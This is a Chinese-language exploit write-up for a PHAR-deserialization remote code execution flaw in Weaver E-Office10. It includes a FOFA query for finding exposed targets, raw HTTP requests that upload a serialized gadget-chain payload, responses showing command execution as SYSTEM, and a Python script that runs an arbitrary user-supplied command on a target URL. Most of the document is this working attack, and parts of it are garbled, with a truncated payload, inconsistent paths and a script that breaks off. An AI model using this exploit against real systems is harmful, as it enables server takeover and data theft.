

F8-16泛微-E-Office-RCE

漏洞描述：

2024年3月，互联网上披露泛微E-Office10存在远程代码执行漏洞，攻击者可利用该漏洞获取服务器控制权。该漏洞利用简单，无需前置条件，建议受影响的客户尽快修复漏洞。

漏洞成因

漏洞的关键在于系统处理上传的PHAR文件时存在缺陷。攻击者能够上传伪装的PHAR文件到服务器，利用PHP处理PHAR文件时自动进行的反序列化机制来触发远程代码执行。

漏洞影响

这一漏洞的成功利用将会导致严重的安全后果。攻击者通过上传特制的PHAR文件，可以执行服务器上的任意代码，从而获得服务器的进一步控制权。最严重的情况下，这可能导致服务器的完全接管，敏感数据泄露，甚至将服务器转化为发起其他攻击的跳板。

影响版本：

v10.0_20180516 < E-Office10 < v10.0_20240222

网站图片：



网络测绘：

fofa语法：

body="coffice_loading_tip" && body="coffice10"

漏洞复现：

上传phar序列化文件，获取响应体中attachment_id的值

payload:

```
POST /eoffice10/server/public/api/attachment/atuh-file HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=7188335fc2blaf077684a437664d25b9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*

--7188335fc2blaf077684a437664d25b9
Content-Disposition: form-data; name="Filedata"; filename="register.inc"
Content-Type: image/jpeg

{{unquote("<?php __HALT_COMPILER\\x28\\x29; ?>\\x0d\\x0a$\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\xee\\x00\\x00\\x000:40:\\\"Illuminate\\\"Broadcasting\\\"
--7188335fc2blaf077684a437664d25b9--
```

效果图：

PS：文件中默认执行的命令为whoami

Request

1

POST /eoffice10/server/public/api/attachment/atuh-file HTTP/1.1

2

Host: .j

3

Content-Type: multipart/form-data; boundary=7188335fc2blaf077684a437664d25b9

4

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36

5

Accept-Encoding: gzip, deflate

6

Accept: */*

7

8

--7188335fc2blaf077684a437664d25b9

9

Content-Disposition: form-data; name="Filedata"; filename="register.inc"

10

Content-Type: image/jpeg

11

12

{{unquote("<?php __HALT_COMPILER\\x28\\x29; ?>\\x0d\\x0a\$\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\xee\\x00\\x00\\x000:40:\\\"Illuminate\\\"Broadcasting\\\"PendingBroadcast\\\";2:\\x7bs:9:\\\"\\x00*\\x00events\\\";0:25:\\\"Illuminate\\\"Bus\\\"Dispatcher\\\";1:\\x7bs:16:\\\"\\x00*\\x00queueResolver\\\";s:6:\\\"system\\\";\\x7ds:8:\\\"\\x00*\\x00event\\\";0:38:\\\"Illuminate\\\"Broadcasting\\\"BroadcastEvent\\\";1:\\x7bs:10:\\\"connection\\\";s:6:\\\"whoami\\\";\\x7d\\x7d\\x08\\x00\\x00\\x00test.txt\\x05\\x00\\x00\\x00*\\x1f\\xa6a\\x05\\x00\\x00\\x00\\xe9\\x8f\\xb1\\xb4\\xb4\\x01\\x00\\x00\\x00\\x00\\x00\\x00tesat\\xe5\\xe4f7H\\xe3\\xe9\\xe8\\xf1\\xec\\x90\\xec\\xc1\\x10\\xdfzw\\x8f\\xe4\\x02\\x00\\x00\\x00GMB\"))}}

13

--7188335fc2blaf077684a437664d25b9--

Responses 123bytes / 449ms

1

HTTP/1.1 200 OK

2

Date: Thu, 04 Apr 2024 06:17:25 GMT

3

Server: Apache/2.4.33 (Win32) OpenSSL/1.1

4

X-Powered-By: PHP/7.4.14

5

Cache-Control: no-cache, private

6

Vary: Accept-Encoding

7

Content-Type: application/json

8

Content-Length: 123

9

10

{"status":1,"data":{"attachment_id":"6d63","attachment_name":"register.inc"},"runtime

携带attachment_id的值，获取文件创建的时间戳

```
POST /eoffice10/server/public/api/wps/v1/3rd/file/history HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

```
Request      Responses    392bytes / 489ms
1 POST /eoffice10/server/public/api/wps/v1/3rd/file/history HTTP/1.1
2 Host: [REDACTED]
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36
4 Accept-Encoding: gzip, deflate
5 Accept: */*
6 Connection: keep-alive
7 x-weboffice-file-id: 6d6361e9fc0dd82fc2f918c75b0ca34d
8
9
10
11
12 HTTP/1.1 200 OK
Date: Thu, 04 Apr 2024 06:20:57 GMT
Server: Apache/2.4.33 (Win32) OpenSSL/1.1.
X-Powered-By: PHP/7.4.14
Cache-Control: no-cache, private
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
Content-Length: 392
{"histories":[{"id":"6d6361e9fc0dd82fc2f918c75b0ca34d","version":1,"size":358,"download_url":"http://[REDACTED]/public/api/wps/v1/3rd/file?fid=NmQ2MzYyOTUwODIyMTQ1NDU5&create_time=1712211445&modify_time=1712211445"}]}
```

```
POST /ooffice10/server/public/api/dingtalk/dingtalk-move?imgs=phar://../../../../attachment/2024/04/04/attachment_id的值/文件创建时间戳+上传文件名的md5值.inc HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

加密/解密 AES加密/解密 DES加密/解密 RC4加密/解密 Rabbit加密/解密 TripleDes加密/解密 MD5加/解密 Base64加/解密 Hash加/解密

```
Request
1 POST /eoffice10/server/public/api/dingtalk/dingtalk-move?imgsrc=phar://../../../../attachment/2024/04/04/6d6361e9fc0dd82fc2f918c75b0ca34d/1cb0360e16372c32ee00e47044283d7f.inc HTTP/1.1
2 Host: 10.10.10.10
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36
4 Accept-Encoding: gzip, deflate
5 Accept: */*
6 Connection: keep-alive

Responses 110bytes / 589ms
1 HTTP/1.1 500 Internal Server Error
2 Date: Thu, 04 Apr 2024 06:32:26 GMT
3 Server: Apache/2.4.33 (Win32) OpenSSL/1.1.
4 X-Powered-By: PHP/7.4.14
5 Vary: Accept-Encoding
6 Connection: close
7 Content-Type: text/html; charset=UTF-8
8 Content-Length: 110
9
10 {"status":0,"errors":["[\"code\":\"0x000013\", \"452\"],nt:authority/system
```

```

-*- coding:utf-8 -*-
import json
import requests
import urllib3
import hashlib
import time
from hashlib import sha1
import base64

def payload(url,cmd):
    urls = url + '/eoffice10/server/public/api/attachment/atuh-file'
    header = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36'}
    file = base64.b64decode(("PD9waHAgX19lQUx0NPTVBjTEVSKCk7ID8+DQokaQAAQAAABEAAAAAAAAAAAAAAAAATzo0MDoiSWxsZWlwbmF0ZVxcCm9hZGNhc3RpbmdcUGVuZGluZU0Jyb2FkY2FzdCI6Mjp7czo5
    # print(file)
    data = file[:-28]
    # print(b's'+bytes(str(len(cmd)),encoding='utf-8')+b':'+'+bytes(cmd, encoding='utf-8')+b'')
    data = data.replace(b's:6:"whoami"', b's:'+'+bytes(str(len(cmd)),encoding='utf-8')+b':'+'+bytes(cmd, encoding='utf-8')+b'')
    final = file[-8:]
    newfile = data + sha1(data).digest() + final
    upload_file = {"Filedata": ("register.inc", newfile, "image/jpeg")}
    urllib3.disable_warnings()
    response = requests.post(url=urls, files=upload_file, headers=header) # ,proxies=proxy)
    response_text = response.text
    attachment_id = json.loads(response_text)['data']['attachment_id']

    urls = url + '/eoffice10/server/public/api/wps/v1/3rd/file/history'
    heards = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36',
        'x-weboffice-file-id': attachment_id
    }
    urllib3.disable_warnings()
    response = requests.post(url=urls, headers=heards, verify=False) # ,proxies=proxy)
    response_json = response.json()
    filename = str(response_json["histories"][0]["create_time"]) + 'register.inc'
    md5name = hashlib.md5(filename.encode())
    md5name = md5name.hexdigest()
    Time = time.strftime('%Y/%m/%d', time.localtime(time.time()))

    urls = url + '/eoffice10/server/public/api/dingtalk/dingtalk-move?imgs=phar://../../../../attachment/' + Time + '/' + attachment_id + '/' + md5name + '.inc'
    header = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36'}
    urllib3.disable_warnings()
    print(urls)
    response = requests.post(url=urls, verify=False, headers=header) # ,proxies=proxy)
    response_text = response.text
    print(response_text)
    result = response_text.split(' ')[-1]
    print(result)

if __name__ == '__main__':
    url = input("url: ")
    cmd = input("要执行的命令: ")
    if not url.startswith(("http://", "https://")):

```

```
url = "http://" + url
if url.endswith("/"):
    url = url[:-1]
payload(url,cmd)
```